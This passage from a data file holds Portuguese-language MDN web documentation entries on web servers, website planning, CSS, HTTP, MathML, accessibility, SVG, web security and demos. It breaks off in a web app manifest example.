servidor de aplicações que pega o conteúdo do artigo de um banco de dados, o formata, coloca dentro de um template HTML e lhe envia o resultado. Nesse caso, o servidor de aplicações é chamado de Kuma (en-US) e é desevolvido em Python (usando o framework Django ). A equipe da Mozilla desenvolveu o Kuma devido a necessidades específicas do MDN, mas há muitas aplicações similares em muitas outras tecnologias..\n\nExistem tantos servidores de aplicações que é muito difícil sugerir algum em particular. Alguns servidores de aplicações atendem à categorias específicas de websites como blogs, wikis ou lojas virtuais. Outros, os chamados CMSs (sistemas de gerenciamento de conteúdo), são mais genéricos. Se estiver desenvolvendo um website dinâmico, reserve um tempo para escolher uma ferramenta que atenda às suas necessidades. A menos que queria aprender sobre o desenvolvimento de um servidor web (que é uma área interessante por si só!), não há necessidade de criar seu próprio servidor de aplicação. Estará apenas reinventando a roda.\n\nPróximos passos\n---------------\n\nAgora que está familiarizado com os servidores web, você pode:\n\n* ler sobre quanto custa desenvolver para a web (en-US) (em inglês)\n* aprender mais sobre os vários softwares necessários para criar um site (en-US) (em inglês)\n* partir para a prática de como fazer o upload de arquivos em um servidor web (en-US) (em inglês)."}
{"title":"Como eu começo a criar meu site? - Aprendendo desenvolvimento web","text":"Como eu começo a criar meu site?\n================================\n\nEste artigo abrange o primeiro passo, muito importante, de cada projeto: definir o que você deseja realizar com ele.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | Nenhum |\n| Objetivo: | Aprenda a definir metas para direcionar seu projeto da web. |\n\nSumário\n-------\n\nAo começar um projeto web, muitas pessoas se concentram no lado técnico. É claro que você deve estar familiarizado com a técnica do seu ofício, mas o que realmente importa é o que você quer realizar. Sim, parece óbvio, mas muitos projetos falham não por falta de conhecimento técnico, mas por falta de objetivos e visão.\n\nEntão, quando você tem uma ideia e quer transformá-la em um site, há algumas perguntas que você deve responder antes de qualquer outra coisa:\n\n* O que exatamente eu quero realizar?\n* Como um site me ajudará a atingir meus objetivos?\n* O que precisa ser feito, e em que ordem, para alcançar meus objetivos?\n\nTudo isso é chamado de ideação do projeto e é um primeiro passo necessário para atingir seu objetivo, seja você um iniciante ou um desenvolvedor experiente.\n\nAprendizado Ativo\n-----------------\n\n*Ainda não há aprendizado ativo disponível. Por favor, considere contribuir (en-US).*\n\nMergulho mais profundo\n----------------------\n\nUm projeto nunca começa com o lado técnico. Os músicos, nunca farão uma música, a menos que tenham uma ideia do que querem tocar e o mesmo vale para pintores, escritores e desenvolvedores da web. Técnica vem em segundo lugar.\n\nA técnica é obviamente crítica. Músicos devem dominar seu instrumento. Mas bons músicos nunca podem produzir boa música sem uma ideia. Portanto, antes de pular para o lado técnico (por exemplo, código e ferramentas) você deve primeiro recuar e decidir detalhadamente o que deseja fazer.\n\nUma hora de discussão com amigos é um bom começo, mas inadequado. Você precisa se sentar e estruturar suas ideias para ter uma visão clara do caminho que deve seguir para tornar suas ideias realidade. Para fazer isso, você precisa apenas de caneta e papel e de algum tempo para responder pelo menos as seguintes perguntas.\n\n**Nota:** Existem inúmeras maneiras de realizar a ideação do projeto. Não podemos colocá-las todas aqui (um livro inteiro não seria suficiente). O que vamos apresentar aqui é um método simples para lidar com o que os profissionais chamam de Ideação do Projeto, Planejamento do Projeto, e Gerenciamento do Projeto.\n\n### O que exatamente eu quero realizar?\n\nEsta é a pergunta mais importante a responder, já que direciona todo o resto. Relacione todos os objetivos que você deseja alcançar. Pode ser qualquer coisa: vender mercadorias para ganhar dinheiro, expressar opiniões políticas, conhecer novos amigos, apresentar-se com músicos, colecionar fotos de gatos ou o que você quiser.\n\nSuponha que você seja um músico. Você poderia desejar:\n\n* Deixar as pessoas ouvirem sua música.\n* Vender guloseimas.\n* Conhecer outros músicos.\n* Falar sobre sua música.\n* Ensinar música através de vídeos.\n* Publicar fotos de seus gatos.\n* Encontrar um(a) novo(a) namorado(a).\n\nDepois de ter essa lista, você precisa priorizar. Ordene os objetivos do mais importante para o menos importante:\n\n1. Encontrar um(a) novo(a) namorado(a).\n2. Deixar as pessoas ouvirem sua música.\n3. Falar sobre sua música.\n4. Conhecer outros músicos.\n5. Vender guloseimas.\n6. Ensinar música através de vídeos.\n7. Publicar fotos de seus gatos.\n\nFazer esse exercício simples (escrever objetivos e classificá-los), ajudará você quando tiver decisões a tomar. (Devo implementar esses recursos, usar esses serviços, criar esses designs?)\n\nEntão, agora que você tem uma lista de prioridades, vamos para a próxima pergunta.\n\n### Como um site poderia me levar aos meus objetivos?\n\nEntão você tem uma lista de objetivos e acha que precisa de um site para alcançar esses objetivos. Você tem certeza?\n\nVamos olhar denovo para o nosso exemplo. Temos cinco objetivos ligados à música, um objetivo relacionado à vida pessoal (encontrar sua cara metade) e as fotos de gatos completamente independentes. É razoável construir um site único para cobrir todos esses objetivos? É mesmo necessário? Afinal, dezenas de serviços existentes na Web, podem levar você aos seus objetivos sem criar um novo site.\n\nEncontrar um(a) namorado(a) é um bom caso em que faz mais sentido usar recursos existentes do que contruir um site totalmente novo. Por que? Porque passaremos mais tempo construindo e mantendo o site em vez de realmente procurar um(a) namorado(a). Como nosso objetivo é o mais importante, devemos gastar nossa energia em alavancar as ferramentas existentes, em vez de começar do zero. Mais uma vez, existem tantos serviços web já disponíveis para mostrar fotos que não vale a pena o esforço para construir um novo site apenas para divulgar o quanto nossos gatos são fofos.\n\nOs outros cinco objetivos estão todos ligados à música. Existem, é claro, muitos serviços da web que poderiam lidar com esses objetivos, mas faz sentido, nesse caso, construir um site próprio. Esse site é a melhor maneira de agregar todas as coisas que queremos publicar em um único lugar (bom para os objetivos 3, 5 e 6) e promover a interação entre nós e o público (bom para os objetivos 2 e 4). Em suma, como todas essas metas giram em torno do mesmo tópico, ter tudo em um só lugar nos ajudará a atingir nossos objetivos e a ajudar nossos seguidores a se conectarem conosco.\n\nComo um site pode me ajudar a atingir minhas metas? Ao responder isso, você encontrará a melhor maneira de atingir seus objetivos e evitar o desperdício de esforços.\n\n### O que precisa ser feito, e em que ordem, para alcançar meus objetivos?\n\nO que precisa ser feito, e em que ordem, para alcançar meus objetivos?\n\nAgora que você sabe o que quer realizar, é hora de decompor os objetivos em etapas. Como uma anotação auxiliar, seus objetivos não são necessariamente definidos em pedra. Eles evoluem ao longo do tempo, mesmo no decorrer do projeto, especialmente se você se deparar com obstáculos inesperados ou simplemente mudar de idéia.\n\nEm vez de passar por uma longa explicação, voltemos ao nosso exemplo com esta tabela:\n\n| Objetivos | Coisas a fazer |\n| --- | --- |\n| Deixar as pessoas ouvirem sua música | 1. Gravar música\n2. Preparar alguns arquivos de áudio utilizáveis on-line (você poderia\n fazer isso com os serviços da Web existentes?)\n3. Dar às pessoas acesso à sua música em alguma parte do seu site\n |\n| Falar sobre sua música | 1. Escrever alguns artigos para iniciar a discussão\n2. Definir como os artigos devem parecer\n3. Publicar esses artigos no site (Como fazer isso?)\n |\n| Conhecer outros músicos | 1. Fornecer maneiras para as pessoas entrarem em contato com você\n (E-mail? Facebook? Telefone? Correio?)\n2. Definir como as pessoas encontrarão esses canais de contato em seu\n site\n |\n| Vender guloseimas | 1. Criar as guloseimas\n2. Armazenar as guloseimas\n3. Encontrar uma maneira de lidar com o envio\n4. Encontrar uma maneira de lidar com o pagamento\n5. Criar um mecanismo no seu site para que as pessoas façam pedidos\n |\n| Ensinar música através de vídeos | 1. Gravar videoaulas\n2. Preparar arquivos de vídeo online (Novamente, você poderia fazer\n isso com os serviços existentes na Web?)\n3. Dar às pessoas acesso aos seus vídeos em alguma parte do seu site\n |\n\nDuas coisas para tomar nota. Primeiro, alguns desses itens não são relacionados à web (por exemplo, gravar música, escrever artigos). Muitas vezes essas atividades off-line são mais importantes do que o lado da web do projeto. Nas vendas, por exemplo, é muito mais importante e demorado lidar com suprimentos, pagamento e remessa do que construir um site onde as pessoas possam fazer pedidos.\n\nEm segundo lugar, a definição das etapas leva a novas perguntas que você precisará responder. Geralmente, há mais perguntas do que pensávamos inicialmente. (Por exemplo, devo aprender como fazer tudo isso sozinho, pedir a alguém para fazer isso por mim ou usar serviços de terceiros?)\n\nConclusão\n---------\n\nComo você pode ver, a simples idéia \"Eu quero fazer um site\" gera uma longa lista de tarefas, que só cresce, quanto mais você pensa sobre isso. Logo pode parecer impressionante, mas não entre em pânico. Você não precisa responder todas as perguntas e não precisa fazer tudo na sua lista. O que importa é ter uma visão do que você quer e como chegar lá. Depois de ter essa visão clara, você precisa decidir como e quando fazê-lo. Divida as grandes tarefas em etapas pequenas e realizáveis. E essas pequenas tarefas resultarão em grandes conquistas.\n\nA partir deste artigo, você deve ser capaz de elaborar um plano básico para criar um site. Um próximo passo pode ser ler como a Internet funciona."}
{"title":"CSS","text":"CSS\n===\n\n**CSS** (***Cascading Style Sheets* ou Folhas de Estilo em Cascata)** é uma linguagem de estilo (en-US) usada para descrever a apresentação de um documento escrito em HTML ou em XML (incluindo várias linguagens em XML como SVG, MathML ou XHTML). O CSS descreve como elementos são mostrados na tela, no papel, na fala ou em outras mídias.\n\nCSS é uma das principais linguagens da **open web** e é padronizada em navegadores web de acordo com as especificação da W3C. Desenvolvido em níveis, o CSS1 está atualmente obsoleto, o CSS2.1 é uma recomendação e o CSS3, agora dividido em pequenos módulos, está progredindo para a sua padronização.\n\n* Introdução CSS\n Se você é novo no desenvolvimento web, certifique-se de ler nosso artigo CSS básico para aprender o que é CSS e como usá-lo.\n* Tutoriais CSS\n Nossa área de aprendizado CSS contém diversos tutoriais para levá-lo do nível iniciante ao avançado, cobrindo todos os fundamentos.\n* Referências CSS\n Nossa extensa referência CSS para desenvolvedores web experientes descreve todas as propriedades e conceitos do CSS.\nTutoriais\n---------\n\nNossa área de aprendizado CSS contempla múltiplos módulos que ensinam CSS desde o início — não é necessário conhecimento prévio.\n\n**Introdução ao CSS**\n\nEsse módulo inicia com o funcionamento básico do CSS, incluindo seletores e propriedades, escrever regras CSS, aplicar CSS ao HTML, como especificar comprimento, cor, e outras unidades em CSS, cascata e herança, o básico do modelo de caixas, e depuração de CSS.\n\n**Estilização do texto**\n\nEsse módulo discute os fundamentos da estilização de textos, incluindo a definição de fontes, negritos, itálicos, linhas e espaçamentos de letras, sombras e outras propriedades de textos.\n\n**Estilização de caixas**\n\nEsse módulo foca na estilização de caixas, um dos passos fundamentais para o layout de uma página web. Nesse módulo nós recapitulamos o modelo de caixas, então abordamos o controle do layout das caixas definindo margens, bordas e preenchimento, cores de fundo customizadas, imagens e outras características extravagantes como sombras e filtros em caixas.\n\n**Layout CSS**\n\nNeste ponto nós já vimos os fundamentos do CSS, como estilizar texto e estilizar e manipular caixas que contém seu conteúdo. Agora veremos como posicionar suas caixas no lugar certo em relação à janela de exibição e um ao outro. Nós cobrimos os pré-requisitos necessários e agora você pode se aprofundar no layout do CSS com diferentes configurações de exibição, métodos tradicionais de layout envolvendo float e posicionamento, e modernas ferramentas para layout como flexbox.\n\nReferências\n-----------\n\n* Referências CSS: Essa extensa referência para desenvolvedores web experientes descreve todas as propriedades e conceitos do CSS.\n* Conceitos chave do CSS:\n    + A sintaxe e formas da linguagem\n    + Especificidade, herança e cascata (en-US)\n    + Box model e colapso de margem\n    + O containing block (en-US)\n    + Empilhamento e block-formatting context (en-US)\n    + Valores iniciais, computados, usados e reais\n    + Propriedades abreviadas do CSS\n    + CSS Flexible Box Layout\n    + CSS Grid Layout\n    + Media queries\nLivro de receitas\n-----------------\n\nO livro de receitas de layout CSS tem como objetivo juntar receitas para padrões comuns de layout, coisas que você pode precisar para implementar em seus sites. Além de prover código você pode usá-lo como ponto de partida em seus projetos, essas receitas destacam as diferentes formas de utilização das especificações de layout e as escolhas que você pode fazer como desenvolvedor.\n\nFerramentas para desenvolvimento de CSS\n---------------------------------------\n\n* Você pode usar o W3C CSS Validation Service para verificar se o seu CSS é válido. Essa é uma ferramenta indispensável de depuração.\n* As Ferramentas do Firefox para desenvolvedores permitem ver e editar o CSS de uma página ao vivo usando as ferramentas de Inspeção e Editor de Estilo.\n* O complemento Web Developer para Firefox também permite a observação e edição de CSS ao vivo dos sites visualizados.\n* A comunidade web criou várias outras pequenas ferramentas CSS para você usar.\nVeja também\n-----------\n\n* CSS demos: Inspire-se explorando criativos exemplos das mais recentes tecnologias CSS em ação.\n* Linguagens web nas quais o CSS é frequentemente aplicado: HTML, SVG, MathML, XHTML e XML.\n* Tecnologias Mozilla que usam extensivamente o CSS: XUL, complementos e temas do Firefox e Thunderbird."}
{"title":"HTTP","text":"HTTP\n====\n\n***Hypertext Transfer Protocol (HTTP)*** é um protocolo de camada de aplicação para transmissão de documentos hipermídia, como o HTML. Foi desenvolvido para comunicação entre navegadores web e servidores web, porém pode ser utilizado para outros propósitos também. Segue um modelo cliente-servidor clássico, onde um cliente abre uma conexão, executa uma requisição e espera até receber uma resposta. É também um protocolo sem estado ou stateless protocol, que significa que o servidor não mantem nenhum dado entre duas requisições (*state*). Apesar de ser frequentemente baseado em uma camada TCP/IP, pode ser utilizado em qualquer camada de transporte confiável, ou seja, um protocolo que não perde mensagens silenciosamente como o UDP.\n\nTutoriais\n---------\n\nAprenda como usar HTTP com guias e tutoriais.\n\nVisão geral do HTTP\n\nApresenta os recursos básicos do protocolo cliente-servidor: o que pode fazer e quais seus usos.\n\nCache HTTP\n\nO Cache é muito importante para websites rápidos. Este artigo descreve diferentes métodos de cache e como utilizar os cabeçalhos HTTP para controlá-los.\n\nCookies HTTP\n\nO funcionamento dos cookies é definido pela RFC 6265. Ao receber uma requisição HTTP, o servidor pode enviar um cabeçalho `Set-Cookie` com a resposta. Depois, o cliente retorna o valor do cookie a cada requisição ao mesmo servidor na forma de um cabeçalho `Cookie` HTTP. O cookie também pode ser configurado para expirar em um determinado tempo ou permanecer restrito a um domínio ou endereço específicos.\n\nControle de Acesso HTTP (CORS)\n\n**As requisições CORS** são requisições HTTP de recursos de domínios diferentes do domínio que está fazendo a requisição. um exemplo é um site A (SiteA.com) realizando uma requisição de uma imagem por meio de um elemento *img* para um site B (SiteB.com/img.png). Hoje em dia encontramos o CORS em grande maioria das páginas webs, carregando scripts, imagens, folhas de estilos, etc.\n\nDicas de cliente HTTP (en-US)\n\n**Dicas do cliente** são um conjunto de cabeçalhos de resposta que um servidor pode usar para solicitar proativamente informações de um cliente sobre o dispositivo, a rede, o usuário e as preferências específicas do agente do usuário.\n O servidor pode então determinar quais recursos enviar, com base nas informações que o cliente escolher fornecer.\n\n\nEvolução do HTTP (en-US)\n\nUma breve descrição das mudanças que ocorreram no HTTP em versões mais antigas para o moderno HTTP/2 em diante.\n\nDiretrizes de segurança da Web da Mozilla\n\numa coleção de dicas para ajudar as equipes operacionais na criação de aplicativos Web seguros.\n\nMensagens HTTP\n\nDescreve os tipos e a estrutura das diferentes mensagens do HTTP/1.x e HTTP/2.\n\nUma sessão típica em HTTP\n\nMostra e explica o fluxo de uma sessão HTTP normal.\n\nGerenciamento de conexões em HTTP/1.x\n\nDescreve os três modelos de conexão disponíveis no HTTP/1.x, seus pontos fortes e fracos.\n\nControlando a pré-busca de DNS (en-US)\n\nO Firefox e outros navegadores atuais utilizam a **pré-busca de** **DNS**, ou seja, o navegador faz a busca do nome do domínio nos links contidos numa página antes que o recurso seja requisitado, como por exemplo imagens, scripts e folhas de estilo. Isto tudo ocorre em segundo plano, para que quando o recurso necessite ser carregado, o endereço DNS já esteja resolvido. Isto diminui a latência quando, por exemplo, um usuário clica em um link.\n\nReferências\n-----------\n\nNavegue por uma detalhada documentação de referências em HTTP.\n\nCabeçalhos HTTP\n\nAs mensagens de cabeçalho HTTP são utilizadas para realizar a descrição de algum recurso ou comportamento do cliente ou servidor. Propriedades personalizadas nos cabeçalhos utilizam o prefixo 'X-' ; Outras no registro IANA, cujo conteúdo original foi definido na RFC 4229. IANA também mantém o registro de novas propostas para mensagens de cabeçalhos HTTP.\n\nMétodos de requisição HTTP\n\nAs mais diferentes requisições podem ser utilizadas pelos métodos de requisições HTTP: `GET` e `POST`, mas também algumas requisições menos comuns pelos métodos `OPTIONS`, `DELETE` ou `TRACE`.\n\nRespostas de códigos de status em HTTP (en-US)\n\nOs códigos de status do HTTP indicam quando uma requisição foi completada. Códigos de status são agrupados em cinco classes: Informações, respostas, respostas de sucesso, redirecionamentos, erros de cliente e erros de servidor.\n\nDiretivas CSP\n\nOs campos de cabeçalho de resposta `Content-Security-Policy` permitem que os administradores do site controlem os recursos que o agente do usuário pode carregar para uma determinada página. Com algumas exceções, as políticas envolvem principalmente a especificação de origens de servidor e endpoints de script.\n\nFerramentas & recursos\n----------------------\n\nFerramentas que irão lhe ajudar a testar e debugar as suas requisições HTTP.\n\nFerramentas de desenvolvedores Firefox\n\nNetwork monitor\n\nObservatório Mozilla\n\nUm projeto desenvolvido para ajudar desenvolvedores, administradores de sistema e profissionais de segurança a configurar seus sites com segurança.\n\nRedBot\n\nUma ferramenta para visualizar seus Headers relacionados em cache.\n\nComo os navegadores funcionam (2011)\n\nUm artigo bem abrangente sobre a parte interna dos navegadores e os fluxos de requisições via protocolo HTTP. Um artigo que todos os desenvolvedores web, com certeza, deveriam ler."}
{"title":"MathML","text":"MathML\n======\n\n**Mathematical Markup Language (MathML)** é uma linguagem de marcação baseada em XML (en-US) para descrever notações matemáticas e capturar tanto a sua estrutura quanto seu conteúdo. Aqui você encontrará links para a documentação e exemplos, bem como ferramentas para o seu trabalho com esta poderosa tecnologia. Para uma visão rápida, veja os slides da feira de inovação do Mozilla Summit 2013.\n\nReferências de MathML\n---------------------\n\nReferência de elementos de MathML\n\nDetalhes sobre cada elemento de MathML e informações sobre compatibilidade para navegadores desktop e móveis.\n\nReferência de atributos de MathML (en-US)\n\nInformações sobre atributos de MathML que modificam a aparência e o comportamento dos elementos.\n\nExemplos de MathML\n\nAmostras e exemplos de MathML para ajudá-lo a compreender como a linguagem funciona.\n\nEscrevendo em MathML (en-US)\n\nDicas e sugestões para escrever em MathML, incluindo sugestões de editores MathML e como capturar suas saídas para integrar em conteúdos Web.\n\nFerramentas\n-----------\n\n* Validador W3C\n* Extensão do Firefox FireMath\n* Coleção de extensões Firefox Mathzilla\n* TeXZilla - Conversor de Javascript LaTeX para MathML (live demo, Firefox OS webapp, Firefox add-on, using in a Web Page, JS program etc)\n* LaTeXML - Conversão de documentos LaTeX para páginas web HTML+MathML\n* Web Equation - Transforma equações escritas a mão em MathML ou LaTeX\n* MathJax - Motor de visualização JavaScript entre navegadores para matemática. Veja também a Extensão MathML Nativa MathJax.\nTópicos Relacionados\n--------------------\n\n* CSS\n* HTML\n* SVG\nCompatibilidade dos Browsers\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Acessibilidade","text":"Acessibilidade\n==============\n\nAcessiblidade no desenvolvimento Web significa permitir que o máximo possível de pessoas possa acessar os sites da web mesmo quando suas habilidades são limitadas de alguma forma. Aqui nós fornecemos informações sobre o desenvolvimento de conteúdo acessível.\n\n\"A palavra Acessibilidade é, frequentemente, usada para descrever facilidades ou assistências às pessoas com necessidades especiais, como em *acessível para cadeirantes*. Isto pode se estender para o Sistema Braille, rampas para cadeirantes, sinais sonoros em passagens de pedestres, modelos de páginas e assim por diante\". Acessibilidade na Wikipedia\n\n\"**A *Web* é, fundamentalmente, projetada para funcionar para todas as pessoas**, independentemente de máquina, programas, língua, cultura, localização ou capacidade física ou mental de seus utilizadores. Quando a web atende a esses requisitos, ela se torna acessível a pessoas com dificuldades auditivas, motoras, visuais e cognitivas\". W3C - Acessibilidade\n\nTutoriais fundamentais\n----------------------\n\nA área de aprendizado de acessibilidade da MDN contém tutoriais modernos e atualizados que abordam os seguintes aspectos essenciais de acessibilidade:\n\nO que é acessibilidade? (en-US)\n\nEste artigo fornece uma visão geral do que é a acessibilidade - isso inclui quais grupos de pessoas devemos considerar e o motivo, quais ferramentas de acessibilidade são utilizadas para interagir com a web e como podemos fazer da acessibilidade web parte do nosso fluxo de desenvolvimento.\n\nHTML: A base para a acessibilidade\n\nBoa parte do conteúdo da Web pode ser 'acessível' apenas garantindo que as tags HTML sejam sempre usadas para a finalidade correta. Este artigo analisa detalhadamente como utilizar o HTML garantindo a máxima acessibilidade.\n\nCSS e JavaScript: accessibilidade e boas práticas (en-US)\n\nCSS e JavaScript, usados corretamente, também podem proporcionar experiências acessíveis na web, mas se mal utilizadas, podem prejudicar a navegação. Este artigo descreve como utilizar o CSS e JS de forma a garantir que mesmo conteúdos complexos sejam acessíveis.\n\nBásico de WAI-ARIA (en-US)\n\nContinuando to tópico anterior, não é facil fazer interfaces web com HTML e conteúdo dinâmico atualizado por JavaScript. O WAI-ARIA é uma tecnologia que pode ajudar com esses problemas, adicionando mais propriedades semanticas que navegadores e tecnologias assistivas podem reconhecer e usar para permitir que os usuários saibam o que está acontecendo na tela. Aqui mostraremos o básico destas técnicas para melhorar a acessibilidade.\n\nMultimedia acessível (en-US)\n\nOutra categoria de conteúdo que pode criar problemas de acessibilidade é a multimédia - Audio, vídeo e imagens precisam de alternativas textuais, assim poderão ser compreendidas por tecnologias assistivas de seus usuários. Este artigo detalha como.\n\nAccessibilidade Mobile (en-US)\n\nO acesso por dispositivos móveis e smartphones é muito popular, e plataformas como iOS e Android já possuem ferramentas bastante consolidadas, assim é importante considerar a acessibilidade do seu conteúdo também nestas plataformas. Este artigo faz considerações sobre acessibilidade mobile.\n\nDocumentação\n------------\n\nDesenvolvimento Web (en-US)\n\nUma coleção de artigos destinados a mostrar as principais questões de desenvolvimento web no mundo da acessibilidade.\n\nIntrodução à cor e acessibilidade (en-US)\n\nEste artigo discute nossa percepção de luz e cor, oferecendo a base para o uso de cores em designs acessíveis, e demonstra as melhores práticas para conteúdo visual e legível.\n\nWidgets JavaScript navegáveis pelo teclado (en-US)\n\nAté agora, os desenvolvedores web que desejavam tornar seus widgets baseados em `<div>` e `<span>` acessíveis têm enfrentado a falta de técnicas adequadas. A **acessibilidade por teclado** faz parte dos requisitos mínimos de acessibilidade, dos quais um desenvolvedor deve estar ciente.\n\nARIA (en-US)\n\nUma coleção de artigos para aprender como usar ARIA e tornar seus documentos HTML mais acessíveis.\n\nAcessibilidade em dispositivos móveis\n\nEsse documento fornece uma breve lista das necessidades da acessibilidade para desenvolvedores de aplicativos móveis.\n\nAcessibilidade cognitiva (en-US)\n\nEste artigo explica como assegurar que o conteúdo web que você está criando é acessível para pessoas com limitações cognitivas.\n\nAcessibilidade para distúrbios convulsivos (en-US)\n\nAlguns tipos de conteúdo visual na web podem induzir convulsões ou ataques epiléticos em pessoas com certos distúrbios cerebrais. Este artigo o auxilia a entender os tipos de conteúdo que podem ser problemáticos e a encontrar ferramentas e estratégias que ajudam a evitá-los.\n\nFerramentas para desenvolvedores web\n------------------------------------\n\n* Emulador de leitor de tela Fangs\n* Emulador de leitor de tela Claws\nOutras páginas úteis\n--------------------\n\n* Lista de leitores de tela"}
{"title":"SVG: Gráficos Vetoriais Escaláveis","text":"SVG: Gráficos Vetoriais Escaláveis\n==================================\n\n**Iniciando** Este tutorial irá ajudá-lo a começar a trabalhar com SVG.\n\n**Gráficos Vetoriais Escaláveis (SVG)** é uma linguagem de marcação XML (en-US) para descrever gráficos vetoriais bidimensionais. Essencialmente, SVG é para gráficos o que o XHTML é para texto.\n\nSVG é similar em escopo à tecnologia Flash, propriedade da Adobe, mas se distingue por ser uma recomendação da W3C, ou seja, um padrão, e por ser baseado em XML e não em um formato binário fechado. O SVG foi criado para funcionar com outros padrões da W3C, tais como CSS, DOM (en-US) e SMIL.\n\nDocumentação\n------------\n\nReferência de elementos SVG\n\nVeja detalhes sobre cada elemento SVG.\n\nReferência de atributos SVG (en-US)\n\nVeja detalhes sobre cada atributo SVG.\n\nReferência da API de DOM do SVG\n\nVeja detalhes sobre toda a API de DOM do SVG.\n\nMelhorando o conteúdo HTML\n\nO SVG funciona juntamente com HTML, CSS e JavaScript. Use o SVG para melhorar uma página comum HTML ou uma aplicação web.\n\nSVG na Mozilla\n\nNotas e informações sobre como o SVG é implementado na Mozilla.\n\n* Como o SVG e implementado no Firefox\n* Tutorial sobre como usá-lo\n* SVG em XHTML (en-US)\n\nFerramentas\n-----------\n\n* Suíte de Teste SVG\n* Validador SVG (Descontinuado)\n* Mais Ferramentas...\n* Outros recursos: XML (en-US), CSS, DOM (en-US), Canvas\nExemplos\n--------\n\n* Google Maps (route overlay) & Docs (spreadsheet charting)\n* Menus bubble SVG\n* Orientações para autoria SVG\n* Uma visão geral do Projeto SVG da Mozilla\n* Perguntas frequentes sobre SVG e Mozilla\n* Slides e demos da palestra SVG and Mozilla no SVG Open 2009\n* SVG como uma imagem (en-US)\n* Animação SVG com SMIL (en-US)\n* Leão, Borboleta & Tigre\n* Galeria de arte SVG\n* Mais exemplos (SVG Samples croczilla.com, carto.net)\n### Animação e interações\n\nAssim como o HTML, o SVG tem um modelo de documento (DOM), eventos e é acessível por JavaScript. Isto permite aos desenvolvedores criar animações e imagens interativas.\n\n* Algumas imagens SVG impressionantes em svg-wow.org\n* Extensão do Firefox (Grafox) para adicionar suporte a um subconjunto de animação SMIL\n* Manipulação interativa de fotos\n* Transformações HTML usando `foreignObject` do SVG\n* Arte animada\n### Mapeamentos, gráficos, jogos & experimentos 3D\n\nEmbora o SVG ainda tenha de percorrer um longo caminho para prover conteúdo web avançado, aqui estão alguns exemplos de uso intensivo de SVG.\n\n* Um Tetris SVG & Connect 4\n* Find the State\n* Mapa da população dos EUA\n* 3D box & 3D boxes\n* jVectorMap (mapas interativos para visualização de dados)"}
{"title":"Segurança Web","text":"Segurança Web\n=============\n\nAssegurar-se de que seu website ou sua aplicação web aberta esteja segura é um ponto crucial. Até pequenos bugs no seu código podem resultar em vazamento de informações privadas e há muita gente mal intencionada por aí tentando encontrar meios de roubar dados. Estes artigos contêm informações que podem ajudá-lo a manter seu código seguro.\n\nDeixando seu site seguroHá várias coisas que você pode fazer para ajudar na segurança do seu site. Esse artigo oferece uma série de sugestões, bem como links para outros artigos fornecendo informações mais úteis."}
{"title":"Demonstrações de tecnologia web aberta","text":"Demonstrações de tecnologia web aberta\n======================================\n\nA mozilla suporta uma grande variedade de tecnologias abertas da web aberta e nós encorajamos seu uso.Esta página oferece links para demonstrações interessantes dessas tecnologia.\n\nSe você conhece uma boa demonstração ou aplicação da tecnologia web aberta, adicione um link para a seção apropriada aqui.\n\nGráficos 2D\n-----------\n\n### Tela de pintura\n\n* Blob Sallad: an interactive blob using javascript and canvas (code demos)\n* Flying through space\n* 3D RayCaster\n* processing.js\n* 3D on 2D Canvas\n* miniPaint: Image editor (source code)\n### SVG\n\n* Bubblemenu (visual effects and interaction)\n* HTML transformations using `foreignObject` (visual effects and transforms)\n* Phonetics Guide (interactive)\n* 3D objects demo (interactive)\n* Blobular (interactive)\n* Video embedded in SVG (or use the local download)\n* Summer HTML image map creator (source code)\n### Vídeo\n\n* Video 3D Animation \"mozilla constantly evolving\"\n* Video 3D animation \"Floating Dance\"\n* Streaming Anime, Movie Trailer and Interview\n* Billy's Browser Firefox Flick\n* Virtual Barber Shop\n* Transformers Movie Trailer\n* A Scanner Darkly Movie Trailer (with built in controls)\n* Events firing and volume control\n* Dragable and sizable videos\nGráficos 3D\n-----------\n\n### WebGL\n\n* Web Audio Fireworks\n* IoQuake3 (source code)\n* Escher puzzle (source code)\n* Kai 'Opua (source code)\n### Realidade virtual\n\n* The Polar Sea (source code)\n* Sechelt fly-through (source code)\nCSS\n---\n\n* CSS Zen Garden\n* CSS floating logo \"mozilla\"\n* Paperfold\n* CSS Blockout\n* Rubik's cube\n* Pure CSS Slides\n* Planetarium (source code)\n### Transformações\n\n* Impress.js (source code)\njogos\n-----\n\n* IoQuake3 (source code)\n* Kai 'Opua (source code)\n* Game canvas (source code)\nHTML\n----\n\n* Zen Photon Garden (source code)\nAPI da Web\n----------\n\n### API de notificações\n\n* HTML5 Notifications (source code)\n### API de áudio da Web\n\n* Web Audio Fireworks\n* oscope.js - JavaScript oscilloscope\n* HTML5 Web Audio Showcase (source code)\n* HTML5 Audio Visualizer (source code)\n* Graphical Filter Editor and Visualizer (source code)\n### API de arquivos\n\n* Slide My Text - presentation from plain text files\n### Trabalhadores da Web\n\n* Web Worker Fractals\n* Photo editor\n* Coral generator\n* Raytracer\n* HotCold Touch Typing"}
{"title":"Web App Manifest","text":"Web App Manifest\n================\n\nO manifesto do aplicativo web fornece informações sobre uma aplicação (como nome, autor, icone, e descrição) em um arquivo de texto. O propósito do manifesto é instalar aplicações web na tela inicial de um aparelho, propiciando aos usuários um acesso mais rápido e uma experiência enriquecida.\n\nOs manifestos dos aplicativos web fazem parte de um acervo de tecnologias de rede chamadas aplicativos web progressivos (en-US), sendo estes aplicativos web que podem ser instalados na tela inicial de um aparelho sem obrigar um usuário a passar por uma loja de aplicativos, dispondo também de outros superpoderes como estar disponíveis offline e apresentando aos usuários notificações push quando houverem mudanças de conteúdo do aplicativo.\n\nImplementando um manifesto\n--------------------------\n\nManifesto de aplicativos web são implementados em suas páginas HTML usando uma etiqueta de link no cabeçalho do documento:\n\n\n```html\n<link rel=\"manifest\" href=\"/manifest.webmanifest\" />\n```\n\n\n**Nota:** A extensão `.webmanifest` está especificada na sessão de Media type registration da especificação, mas no geral os navegadores suportam manifestos em outras extensões apropriadas como `.json`\n\n**Nota:** Se o manifesto precisa de credenciais para ser buscado, você deve adicionar o atributo `crossorigin` (en-US) mesmo que o arquivo de manifesto esteja na mesma origem da página atual.\n\nExemplo de manifesto\n--------------------\n\n\n```json\n{\n  \"name\": \"HackerWeb\",\n  \"short\\_name\": \"HackerWeb\",\n  \"start\\_url\": \".\",\n  \"display\": \"standalone\",\n  \"background\\_color\": \"#fff\",\n  \"description\": \"A simply readable Hacker News app.\",\n  \"icons\": [\n    {\n      \"src\": \"images/touch/homescreen48.png\",\n      \"sizes\": 